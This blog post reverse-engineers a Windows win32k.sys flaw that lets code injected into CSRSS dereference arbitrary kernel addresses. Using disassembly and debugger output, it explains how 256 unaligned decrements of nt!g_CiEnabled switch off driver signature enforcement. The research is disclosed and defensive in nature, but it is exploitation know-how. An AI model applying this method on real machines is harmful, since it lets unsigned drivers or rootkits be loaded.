As usual, let’s start with some historical context. Back in July 2007, omega_red has started a thread on the woodmann RCE forums, stating that he had found a GDI bug (Blue Screen of Death triggerable from user-mode) that required “pretty unusual conditions” to work. A few days into the discussion, Alex Ionescu chimed in and said that inspired by omega’s finding, he had spent a night looking around the win32k.sys module and located four vulnerabilities that he would be willing to present on the BlackHat conference; and so he did – the slides from his BlackHat USA 2008 conference talk titled “Pointer and Handles” can be found here. All issues discussed by Alex are fairly interesting, so be sure to check out the slides if you haven’t already; the important one for us would be the NULL Pointer Dereference within CSRSS.EXE via xxxCreateThreadInfo. The kernel routine would dereference an internal CurrentW32Thread->Desktop pointer without prior sanitization, thus using a pointer that was never initialized for the special subsystem process, in the first place. Oh, in fact there might be a “few“ more instances of such bugs in the kernel nowadays, but stay tuned… :-)

During his talk, Alex also mentioned a list of CSRSS-reserved system calls within the main graphical device driver, most of which are still found in Windows 7 and 8 today. These services usually begin with the following expression:

if (PsGetCurrentProcess() != gpepCsrss) {
  return STATUS_ACCESS_DENIED;
}

If we take a look at the list of cross-references to the global gpepCsrss symbol in the context of a cmp operation, we will get a comprehensive list of functions that are either entirely reserved for system use, or provide some such functionality (the list below was acquired from Windows 8 32-bit):

_BlockInput
CheckProcessIdentity
_CloseDesktop
_CreateEmptyCursorObject
DestroyProcessesObjects
_GetProcessDefaultLayout
GetThreadsWithPKL
HandleSystemThreadCreationFailure
InitializeClientPfnArrays
IsHandleEntryAccessibleForIL
_LoadCursorsAndIcons
NtUserAutoRotateScreen
NtUserCheckAccessForIntegrityLevel
NtUserCtxDisplayIOCtl
NtUserDestroyCursor
NtUserGetCaretBlinkTime
NtUserGetDoubleClickTime
NtUserHardErrorControl
NtUserNotifyProcessCreate
NtUserPostMessage
NtUserPostThreadMessage
NtUserProcessConnect
NtUserQueryInformationThread
NtUserRemoteConnect
NtUserRemoteRedrawRectangle
NtUserRemoteRedrawScreen
NtUserRemoteStopScreenUpdates
NtUserSetInformationThread
NtUserSetSensorPresence
NtUserSetThreadDesktop
OpenCacheKeyEx
PDEVOBJ::FontManagement
PDEVOBJ::GetTrueTypeFile
_PostMessageCheckIL
_PostMessageExtended
_PostThreadMessage
PowerOnGdi
RecalculateQueueInfo
_RegisterHotKey
RemoteLogoff
RemotePassthruDisable
RemoteShadowCleanup
RemoteShadowStart
RemoteThinwireStats
_SetCursorIconData
_ShouldFrostCrashedWindow
_ShouldFrostSiblingWindow
_ShouldGhostWindow
UnmapDesktop
UserGetDesktopDC
ValidateHwndEx
vCleanupUMWindowlessSprite
VideoPortCalloutThread
WakeRITForShutdown
xxxCreateSystemThreads
xxxCreateThreadInfo
xxxDesktopRecalc
xxxGetDeviceChangeInfo
xxxInitTerminal
xxxInternalKeyEventDirect
xxxInternalUserChangeDisplaySettings
xxxInterSendMsgEx
xxxMouseEventDirect
xxxRealDefWindowProc
xxxRemoteConsoleShadowStop
xxxRemoteDisconnect
xxxRemoteNotify
xxxRemotePassthruEnable
xxxRemoteReconnect
xxxRemoteShadowSetup
xxxRemoteShadowStop
xxxSetDeskWallpaper
xxxSetProcessInitState
xxxSetThreadDesktop
xxxSystemParametersInfo
xxxWrapRealDefWindowProc
zzzClipCursor
zzzResetSharedDesktops

Please note that while CSRSS is a system-critical process, it can be easily executed code within by an administrator – after acquiring a SeDebugPrivilege token, one can use pretty much all process-manipulation API functions (such as WriteProcessMemory or CreateRemoteThread) over the process. Now, the big question is – to what extent do these routines trust CSRSS to provide sensible (and safe) input data? If we look at the past, they seem to have been rather reckless at the time  and didn’t perform any sanity checking at all, as described by Alex from ntinternals.org in the “Windows XP SP2/SP3 (NtUserConsoleControl) – Local Privilege Escalation” article available here. Even though these issues are long gone now after Microsoft has developed adequate fixes (mostly consisting of calling ProbeForRead and ProbeForWrite in the right places), they didn’t really stop indirectly trusting the subsystem process in numerous other places. For example, let’s take a look at the win32k!NtUserSetInformationThread function implementation in snippets:

.text:BF93ED97 call ds:__imp__PsGetCurrentProcess@0 ; PsGetCurrentProcess()
.text:BF93ED9D cmp eax, _gpepCSRSS
.text:BF93EDA3 jnz loc_BFA7E296

First of all, it obviously verifies that the caller is indeed a CSRSS process.

.text:BF93EDA9                 mov     esi, [ebp+length]
.text:BF93EDAC                 cmp     esi, 0Ch
.text:BF93EDAF                 ja      loc_BFA7E2AA
.text:BF93EDB5                 test    esi, esi
.text:BF93EDB7                 jz      loc_BF93EE4D
.text:BF93EDBD                 and     [ebp+ms_exc.disabled], 0
.text:BF93EDC1                 mov     ebx, [ebp+Address]
.text:BF93EDC4                 test    bl, 3
.text:BF93EDC7                 jnz     short loc_BF93EE39
.text:BF93EDC9                 lea     ecx, [ebx+esi]
.text:BF93EDCC                 mov     eax, _W32UserProbeAddress
.text:BF93EDD1                 cmp     ecx, eax
.text:BF93EDD3                 ja      short loc_BF93EE3F
.text:BF93EDD5                 cmp     ecx, ebx
.text:BF93EDD7                 jb      short loc_BF93EE3F
.text:BF93EDD9
.text:BF93EDD9 loc_BF93EDD9:                           ; CODE XREF: NtUserSetInformationThread(x,x,x,x)+EA
.text:BF93EDD9                 push    esi             ; size_t
.text:BF93EDDA                 push    ebx             ; void *
.text:BF93EDDB                 lea     eax, [ebp+local_buffer]
.text:BF93EDDE                 push    eax             ; void *
.text:BF93EDDF                 call    _memcpy
.text:BF93EDE4                 mov     [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:BF93EDEB                 add     esp, 0Ch

Further on, the input data length is enforced to be less or equal to 0ch (12d), after which the data itself is copied into a stack-based buffer located at ebp+var_24. This is not the subject of the post, but please note that there is a bug here already – the routine only checks if the length is not greater than the size of the input structure, but later assumes that it is equal to the size. Therefore, if we pass anything smaller than 12 as the data length (say zero), parts of the buffer will remain uninitialized and later read from – the behavior may consequently lead to a certain degree of information disclosure… Anyway, let’s dig further in the function:

.text:BF93EDEE                 push    esi             ; input data length
.text:BF93EDEF                 lea     eax, [ebp+local_buffer]
.text:BF93EDF2                 push    eax             ; stack-based input buffer of size 12
.text:BF93EDF3                 push    [ebp+cmd_code]  ; fully controlled control code
.text:BF93EDF6                 push    [ebp+handle]    ; input handle
.text:BF93EDF9                 call    _xxxSetInformationThread@16 ; xxxSetInformationThread(x,x,x,x)

There’s a call to an internal win32k!xxxSetInformationThread function with controlled parameters and a pointer to controlled structure. Let’s look inside.

.text:BF93EE6E                 lea     ecx, [ebp+Object]
.text:BF93EE71                 push    ecx             ; Object
.text:BF93EE72                 push    1               ; AccessMode
.text:BF93EE74                 push    dword ptr [eax] ; ObjectType
.text:BF93EE76                 push    20h             ; DesiredAccess
.text:BF93EE78                 push    [ebp+handle]    ; Handle
.text:BF93EE7B                 call    ds:__imp__ObReferenceObjectByHandle@24 ; ObReferenceObjectByHandle(x,x,x,x,x,x)
[...]
.text:BF93EE8B                 mov     ebx, [ebp+buffer]
[...]
.text:BF93EE8F                 mov     edi, [ebp+cmd_code]
[...]
.text:BF93EE9C                 cmp edi, 9
.text:BF93EE9F                 jz short loc_BF93EED6
[...]
.text:BF93EED6 loc_BF93EED6: ; CODE XREF: xxxSetInformationThread(x,x,x,x)+3F
.text:BF93EED6                 add ebx, 4
.text:BF93EED9                 call _xxxRestoreCsrssThreadDesktop@4 ; xxxRestoreCsrssThreadDesktop(x)

What happens here is that the handle parameter from the original syscall is referenced as a thread type, and later if the control code is equal to nine, another internal function called win32k!xxxRestoreCsrssThreadDesktop is invoked with the (buffer+4) address passed as a parameter inside ecx, and the return value of the preeceding ObReferenceObjectByHandle (NTSTATUS) as a parameter in register esi. By following the call chain, we can observe the following code:

.text:BF93EFEF ; __stdcall xxxRestoreCsrssThreadDesktop(x)
[...]
.text:BF93F02C loc_BF93F02C:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+68
.text:BF93F02C                 mov     ecx, [ebx]
.text:BF93F02E                 test    ecx, ecx
.text:BF93F030                 jnz     short loc_BF93F059
.text:BF93F032
.text:BF93F032 loc_BF93F032:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+72
.text:BF93F032                 mov     esi, [ebx+4]
.text:BF93F035                 test    esi, esi
.text:BF93F037                 jz      short loc_BF93F042
.text:BF93F039                 push    edi
.text:BF93F03A                 call    _CloseProtectedHandle@8 ; CloseProtectedHandle(x,x)
.text:BF93F03F                 mov     [ebx+4], edi
.text:BF93F042
.text:BF93F042 loc_BF93F042:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+48
.text:BF93F042                 mov     eax, [ebp+var_4]
.text:BF93F045                 pop     edi
.text:BF93F046                 pop     esi
.text:BF93F047                 leave
.text:BF93F048                 retn
[...]
.text:BF93F059                 call    ds:__imp_@ObfDereferenceObject@4 ; ObfDereferenceObject(x)
.text:BF93F05F                 mov     [ebx], edi
.text:BF93F061                 jmp     short loc_BF93F032

The above assembly translates to the following:

/* 
 * ... irrelevant ...
 */

if (buffer->object) {
  ObfDereferenceObject(buffer->object);
}
if (buffer->handle) {
  CloseProtectedHandle(buffer->handle);
}

Keeping in mind that buffer is still pointing at a user-controlled structure, it becomes clear that the current implementation enables CSRSS to operate on raw kernel-mode addresses and handles; furthermore, if controlled by a rogue user, it makes it possible to either corrupt kernel-mode memory by passing an arbitrary non-object parameter to ObfDeferenceObject, or potentially cause a use-after-free condition by illegally closing a system handle or passing in a pointer to an object that is not intended to be dereferenced at this point. One simple way to exploit the issue is described below.

The nature of memory operations performed by the ObfDereferenceRoutine routine upon an object is fairly straight-forward:

.text:0045447C                 lea     esi, [ebx-18h]  ; ebx = object
[...]
.text:00454499                 or      edi, 0FFFFFFFFh
.text:0045449C                 lock xadd [esi], edi

Just one thing to keep in mind is that the signed value being decremented by one is not supposed to drop below one; otherwise, the object manager would attempt to free the “object” from the kernel pools which would either render exploitation completely impossible or unnecessarily complicate it by a lot. If we take a step back and look at “A quick insight into the Driver Signature Enforcement” article from two years ago (which was probably around the time I stumbled upon the issue discussed here), we can see that disabling the mechanism on a live system session can be as simple as flipping the nt!g_CiEnabled byte from one to zero. Let’s take a look at our chances  inside a Windows 7 64-bit session investigated with WinDbg:

kd> dq nt!g_cienabled-8
fffff800`02e45eb0  fffff880`00cdc470 00000000`00000001
fffff800`02e45ec0  00000000`00000000 00000000`00000000
fffff800`02e45ed0  00000000`00000000 00000000`00000000
[...]

As we can see, there is a 64-bit pointer directly before the value within interest, and just zeros after it. Bearing in mind that we can’t just decrement a 64-bit value to zero or less explicitly, we need to do some non-aligned memory access. If we take a look at the memory address shifted by one, here’s what we get:

kd> dq nt!g_cienabled-1
fffff800`02e45eb7  00000000`000001ff 00000000`00000000

Our target byte becomes the second-least important byte in a qword, the last one being always 0xff (due to of canonical address space addressing). Therefore, we can perform exactly 256 decrementations using the ObfDereferenceObject call with an arbitrary parameter in order to drop the nt!g_CiEnabled byte to zero and keep the preceeding pointer untouched and valid. This is how it looks in practice:

kd> !process
PROCESS fffffa80020c5b30
    SessionId: 1  Cid: 017c    Peb: 7fffffd9000  ParentCid: 0174
    DirBase: 19e1b000  ObjectTable: fffff8a005fc18e0  HandleCount: 204.
    Image: csrss.exe
[...]
kd> u
nt!ObfDereferenceObject+0x2c:
fffff800`02ca946c f0480fc11f      lock xadd qword ptr [rdi],rbx

kd> ? rbx; dq rdi
Evaluate expression: -1 = ffffffff`ffffffff
fffff800`02e45eb7  00000000`000001ff 00000000`00000000
[...]
kd> ? dq rdi
fffff800`02e45eb7  00000000`000001f8 00000000`00000000
[...]
kd> ? dq rdi
fffff800`02e45eb7  00000000`0000012f 00000000`00000000
[...]
kd> ? dq rdi
fffff800`02e45eb7  00000000`000000ff 00000000`00000000

kd> db nt!g_CiEnabled
fffff800`02e45eb8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Aaaaaand… that’s it ;-) Although not very spectacular, you can also watch a demo exploitation video below. I believe I privately reported the bug to Microsoft somewhere around 2009, but it was obviously not classified as a security issue (just a reliability one), and apparently hasn’t been found important enough to be fixed up until now. I hope you guys enjoyed the post, more Windows internals to come soon!